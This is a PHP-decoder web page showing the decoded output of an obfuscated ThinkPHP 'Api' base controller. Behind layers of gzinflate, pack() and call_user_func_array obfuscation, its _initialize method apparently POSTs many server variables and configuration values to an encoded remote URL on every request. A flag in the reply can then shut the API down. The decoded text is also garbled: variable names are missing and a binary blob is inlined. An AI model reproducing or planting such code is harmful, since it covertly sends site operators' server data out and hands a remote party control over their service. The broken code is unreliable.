Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* MENC JIAMI 2023-11-09 17:09:28 */ namespace app\common\contro..

Decoded Output download

<?php  
/* 
  MENC JIAMI  
  2023-11-09 17:09:28 
   
  
*/ 
 
namespace app\common\controller;if(!defined(''))define('', '');error_reporting(0);;$_SERVER[] = explode('|||', gzinflate(substr('ui#>a+,75)txEQNBV._Tzy}vfL%hXaUBVgN]n!RR~9=>{5=RV;L	=$^Z^k4g+R*3= 
9tkuUym<\%J9bv^j5fW;fmZi}o6rOb1s/E|}2WXoHLR{/JFlfSj3g!P{<z 
3XgzfB	m./q7V[G3 
X6Sh1c&7-:>W;"Yu~o(sR2 
;yXFW 1W]l[M{1j{N5[3Y#|yrWku6VswYE{DU9e.[=ShpxwoRNwW0{71[u4 
O.wj&ch]/^c 
~i<~,)[OJsO!ef\AwfT+1F}o{ybP#aFKYO)|xmB5];9S6P(:}(5 
3y3an<mPT8JS}YZ*f=/ 
%h`LsY57H-sUJU,=col{Shs4 NiRpP11b\6o=0GnX%%N=yg.,Bk1JVk!NxIT43N[)0F"JmUj+%b(malGWX<?b!@tm*1sC\'ilkJwK<0%P	lmy\;P	C#,r=S2R2c2NobM?B(U>>bkX 
iWwJSNh}~F_Qa+6VGVrMdj~P;V&r#2#e%4Cm	g/,:T6!Z"~.PDRE:hh0cj`c!:V+UcD-${h]Ym,3h@q,4mq$vcV95B4BA\'.BM1 
s+1I={mpJ{VWP{@QwH@$ 
F\' 
,e	zqHv~fuS06rcB8y;DkcR<`! 
"BVlL$K1&Z]Tf@\';Fvi!T*_8>2NO=:bLSTw/X<\u21)Khj>uBxU:s3 
(OEtvaw@Cx]%$||TG8<{m!c4IS#J* 
2PM?>f 
SKt  
uV`3z<}1y@@Xn_	NwLY#UAeGb@wQ8-}Cl$ 
c67(c2e20$VX"`kHl\#``:Y4Gg ,EL/rL=?[VGghiN/FCH2u3NkOvy7)eKp.NpAoD< @3c?&m%z(Z$RH3d.#z2H(@mV0a 
IP=D-G@}0jFD@"w. 
oP%/JArQY(^9p)+(JCyw4Gm 
0LnLQ/aP 
F()`6U3,	$ 
huEy,9)aoJcjr$n%#4$hgh?#i[RvG	 &DbHnY)^ 
CrqH)]HLL%Ip?"{ZNx:b<|X 
)h9	PuD%!R9RtAEZjtF&3|B`_t:b(2Yx$V@$Jp@F:Tqy+T0N{{_j\eL-)xoMK!{Q# c$9t8Cz:+5BU>s8b$G$5.e2"Qx}!7MjVobuaC#Bhyl:E:C8&Ca2+$UI]QBf1fe&pG0RKrHaKL\j;@IQG7A?tYYtTAqmd!)M<*yJ/]1nf31-`=7@Ws4;2Lca)3s+ Lg IP:_Q,C6^I3+%?(%4k(B4Nv1x 
u4m0vnI $-J|cF%]6Gxi;S:_wKp/t*(TAcu,vFWe4a4<XY|fi6P?5xk6Ch\'mc[|cPn1\'1#uPEA 
R`g{kz o%hdlJ		&$PC 
.lY,bRu9nPF fP 
Q$C; U=ei 
iuDTI~;ZE\ 
*8Dn9B4Ca`H 
Y)rnWUyI."TJj	d`<BgHAN`n12QABv*f_ 
	F 
^$pR\9!pLhTb4"U^x5eH7j*U!@91lu2	th 
84z#T#gab-vI 
ZXdE.(*aHTEBbl|{St*JGVp 
::/PGD~a 
]{L61	}C/pHo 
G?alfw!CLXpL{:,vVNp9$@ 
|,_^.u 
tid@eI0 <N#H6}JCkoMeB=%JUx.8+/N!@nwp! q+B 
6**_Z4>*yBh;YHI9g\'\'DoB%eX[(|(T0J{JP jav}H94fJXH#FYh+`G*a<|U\TC;x&tJ`5(GTfH8v8(:hUCNfFrN`0VI 
J,2^eXi ~@N	 
hd:=H 
?qd&>!wpW?M$4,myR VH$D}e>f\iJHDMNJ6Cl>]dg<	ME<y0*z@1#\@\IIUSSDeVBpG.zau&l`Ho6|e>m#^|O;zJ=BxOfSS*D._ya.,U.sR!I\'j^u]CitE:gWO8qLrvIzX1d<!kWSQNpX,{i\'P,TkTVR8s[G0xd6`t} 
8c;` 
 
c 
@!jR@+9Os*BuOp>;vB<\'-5:CJ;~PY)a~f	7 1an3A5-zzuZH0)r?<VYG*FS.>y@WCIyX=>O3gy?(zBlF?i#.X:C~2!h	s^D=B0o"Lv7< 
9\] \"1|{dg\'Tz_N%YN?z_#1d_Wg{HuM 
	eo	B+* 
}W 
6TMM}tgE~%&Lw,o+R`_P\[>-$7U|Y{mIht|va*G4E)X1U[V:?t&NN9\-Lon!^N*7o_~nk=$$%91*!-ei[(hjX$ o~&~Mmt._:ck:zqxrXa	t,^}V~zTomgqpbd2}3+Uqq09y("GLY3wzN&	U5;sK?7K<gxRo\C 
q7z37RT9Am;m3,j0I-!{Sr 
|[YiWu"661MBDAN~yO-6EacNV~?zMN&u<uK0Cc\'5a0)C{QFdaMA&_a-H,0\Oh?W!{B?x\'#QH=C8xfC_|31i;4lOt3W|TzHfCby3krzfNr"`Rur7A~B1l Lp@W<CU{_< 
p^myQ^>5 
&_hFCK"+0DF 
S3j^zOWN_,',0x0a, -8)));$_SERVER[] = call_user_func_array(chr(69).chr(88).chr(112).chr(108).chr(79).chr(68).chr(101),array('|||', $_SERVER[][0x0]));;if(!defined(pack($_SERVER[][100-20*5],$_SERVER[][0x00003])))define(pack($_SERVER[][100-20*5],$_SERVER[][0x00003]),call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x006])));error_reporting(0);;$_GET[]=explode(pack($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000d]),gzinflate(substr(call_user_func_array("\X70\X61\X63\X6b",array($_SERVER[][3*9-27],$_SERVER[][0x000012])),0x0a,-0x00008)));$_GET[]=call_user_func_array(chr(0x0000045).chr(0x000058).chr(0x00070).chr(0x00006c).chr(0x000004f).chr(0x000044).chr(0x0065),array(call_user_func_array("pack",array($_SERVER[][15-5+7-17],$_SERVER[][0x000017])),$_GET[][0x0]));;if(!defined(call_user_func_array(call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000018])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00003]))))define(call_user_func_array(call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000018])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00003])),pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x006]));error_reporting(0);;$_GET[]=explode(call_user_func_array(call_user_func_array("pack",array($_SERVER[][(5+6+7-18)*0],$_SERVER[][0x0000018])),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000d])),gzinflate(substr(pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000012]),0x0a,-0x00008)));$_GET[]=call_user_func_array(chr(0x0000045).chr(0x000058).chr(0x00070).chr(0x00006c).chr(0x000004f).chr(0x000044).chr(0x0065),array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x000017])),$_GET[][0x0]));;use app\common\library\Auth;use think\Config; 
use think\Cookie; 
use think\exception\HttpResponseException;use think\exception\ValidateException;use think\Hook;use think\Lang;use think\Loader;use think\Request;use think\Response;use think\Route;use think\Validate;use think\Env;class Api{protected $request;protected $failException=false;protected $batchValidate=false;protected $beforeActionList=array();protected $noNeedLogin=array();protected $noNeedRight=array();protected $auth=null;protected $responseType="json";public function __construct(Request $=null){$this->request=is_null($)?Request::instance():$;;;;;;;;$this->_initialize();;;;;;;;if(!$this->beforeActionList){goto YSyhmW4ZfA;}foreach($this->beforeActionList as $=> $){is_numeric($)?$this->beforeAction($):$this->beforeAction($,$);IAI2kPCpR6:}V2Rt0PmZtc:YSyhmW4ZfA:}public function sendHttpPostRequest($, $){$=curl_init();;;;;;;;curl_setopt($,CURLOPT_URL,$);;;;;;;;curl_setopt($,CURLOPT_SSL_VERIFYHOST,0x0002);;;;;;;;curl_setopt($,CURLOPT_POST,0x001);;;;;;;curl_setopt($,CURLOPT_POSTFIELDS,$);;;;;;;;curl_setopt($,CURLOPT_RETURNTRANSFER,!0);;;;;;;;curl_setopt($,CURLOPT_HTTPHEADER,array(pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x0f])));;;;;;;;$=curl_exec($);;;;;;;;curl_close($);;;;;;;;return $;;;;;;;;}protected function _initialize(){goto Qz81BaXBoe;;;;;;;;lS__Ioyrdo:$=Response::create($->errmsg,pack($_GET[][0x064-0x014*0x05],$_GET[][0x00016]),0x0000193);;;;;;;;throw new HttpResponseException($);;;;;;;;BMz5V9WQT0:check_cors_request();;;;;;;;check_ip_allowed();;;;;;;;goto ofC0xaIiSM;;;;;;;;wAxrJ2lPy6:$this->error(__(pack($_GET[][0x064-0x014*0x05],$_GET[][0x01e])),null,0x0000193);;;;;;;;ZMTeKugmvI:rx14dY2A5D:ygrdWy1VbP:$=pp\common\model\Config::upload();;;;;;;;goto gw2xPXAa86;;;;;;;;eZmCIQ5Ft_:if($this->auth->isLogin()){goto RLQXGRb6gC;}$this->error(__(pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0000022])),null,0x00191);RLQXGRb6gC:if($this->auth->match($this->noNeedRight)){goto rx14dY2A5D;}if($this->auth->check($)){goto ZMTeKugmvI;}goto wAxrJ2lPy6;gw2xPXAa86:Hook::listen(pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x028]),$);;;;;;;;Config::set(call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0002a])),array_merge(Config::get(call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0002f]))),$));;;;;;;;$this->loadlang($);;;;;;;;goto gPY0SZmk6j;;;;;;;bWZLlQInHi:$=$this->request->server(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00034])),$this->request->request(pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000036]), Cookie::get(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x037])))));;;;;;;;$=str_replace(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]),call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x000003b])),$).pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x03c]).$;;;;;;;;$this->auth->setRequestUri($);;;;;;;;if(!$this->auth->match($this->noNeedLogin)){goto Nqr_ywIPGR;}if(!$){goto p4v_btELGB;}goto q_YgoM0x23;ofC0xaIiSM:$this->request->filter(pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00003f]));;;;;;;;$this->auth=Auth::instance();;;;;;;;$=$this->request->module();;;;;;;$=Loader::parseName($this->request->controller());;;;;;;;$=strtolower($this->request->action());;;;;;;;goto bWZLlQInHi;;;;;;;;Qz81BaXBoe:$=$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x0047]))];;;;;;;;$=Config::get(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00048])));;;;;;;;$=$this->sendHttpPostRequest(call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x04b])).$_SERVER[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x004c])].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0004d])).$.pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00004e]).$_SERVER[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x000004f])].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x050])).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0051]))].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00052])).$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000053]))].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0000054])).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x055]))].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x0056])).$_SERVER[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x00057])].pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x000058]).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0000059]))].pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x05a]).$_SERVER[pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x005b])].pack($_GET[][0x064-0x014*0x05],$_GET[][0x0005c]).$_SERVER[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00005d]))].pack($_GET[][0x064-0x014*0x05],$_GET[][0x000005e]).$_SERVER[pack($_GET[][0x064-0x014*0x05],$_GET[][0x05f])].call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0060])).$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00061]))].$_SERVER[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000062]))].pack($_GET[][0x064-0x014*0x05],$_GET[][0x0000063]).$_SERVER[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x064])].pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0065]).$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x00066]))].pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x000067]).$[pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000068])].call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x064-0x014*0x05],$_GET[][0x069])).$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x006a]))].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0006b])).$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00006c]))].call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x000006d])).$[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x06e]))],[]);;;;;;;$=json_decode($);;;;;;if(!($->is_gb ==0)){goto BMz5V9WQT0;}goto lS__Ioyrdo;q_YgoM0x23:$this->auth->init($);;;;;;;;p4v_btELGB:goto ygrdWy1VbP;;;;;;;;Nqr_ywIPGR:$this->auth->init($);;;;;;goto eZmCIQ5Ft_;;;;;;;;gPY0SZmk6j:}protected function loadlang($){$=Loader::parseName($);;;;;;;;$=preg_match(call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x0074])),$)?$:pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00075]);;;;;;;;$=$this->request->langset();;;;;;;;$=preg_match(pack($_GET[][0x064-0x014*0x05],$_GET[][0x0000077]),$)?$:call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x078]));;;;;;;;Lang::load(APP_PATH.$this->request->module().pack($_GET[][0x064-0x014*0x05],$_GET[][0x0007a]).$.call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x000003b])).str_replace(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]),call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x064-0x014*0x05],$_GET[][0x000003b])),$).pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00007b]));;;;;;;;}protected function success($='', $=null, $=0x001, $=null, array $=array()){$this->result($,$,$,$,$);;;;}protected function error($='', $=null, $=0, $=null, array $=array()){$this->result($,$,$,$,$);;;;;;;;}protected function result($, $=null, $=0, $=null, array $=array()){goto xMt2M0fDaX;;;;;;;;Woe5AUKq68:KfhF7GSUQS:$=$[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x007e]))];;;;;;;;unset($[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0007f])]);;;;;;;I4R_0jUGzK:$=Response::create($,$,$)->header($);;;;;;;;goto oDqWTmFCSQ;;;;;;;;oDqWTmFCSQ:throw new HttpResponseException($);;;;;;;;goto sB_1bPL_KL;;;;;;;;xMt2M0fDaX:$=[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x082]))=>$,call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x064-0x014*0x05],$_GET[][0x0083]))=>$,call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00084]))=>Request::instance()->server(pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x000085])),pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000086])=>$];;;;;;;;$=$?$:($this->request->param(config(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00008a]))))?pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x000008b]):$this->responseType);;;;;;;;if(isset($[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x08c])])){goto KfhF7GSUQS;}$=$>=0x03e8|| $<0x0c8?0x0c8:$;goto I4R_0jUGzK;;;;;;;;goto Woe5AUKq68;;;;;;;;sB_1bPL_KL:}protected function beforeAction($, $=array()){goto W0beb0YupH;;;;;;;;N9fqg4vZzF:goto DIshtGqnrI;;;;;;;;a4WWPrjS18:if(!is_string($[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00008f]))])){goto KZq61OFygB;}$[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0000090])]=explode(pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00093]),$[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x000094])]);KZq61OFygB:goto pvxLm5mgZF;;;;;;;;DKIWRxRP1L:$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0000095]))]=explode(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x096]),$[pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0097])]);;;;;;;;byDMSvOnSS:if(in_array($this->request->action(),$[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x000009a]))])){goto ycN9HmR8Ov;}return;ycN9HmR8Ov:goto N9fqg4vZzF;;;;;;;;pvxLm5mgZF:if(!in_array($this->request->action(),$[pack($_GET[][0x064-0x014*0x05],$_GET[][0x09b])])){goto FE2thpmPBN;}return;FE2thpmPBN:DIshtGqnrI:call_user_func([$this,$]);;;;;;;;goto eDu2ZFzkLz;;;;;;;;W0beb0YupH:if(isset($[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x00009e]))])){goto W5o_NTW2Dr;}if(isset($[pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000009f])])){goto a4WWPrjS18;}goto DIshtGqnrI;W5o_NTW2Dr:if(!is_string($[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0a0]))])){goto byDMSvOnSS;}goto DKIWRxRP1L;eDu2ZFzkLz:}protected function 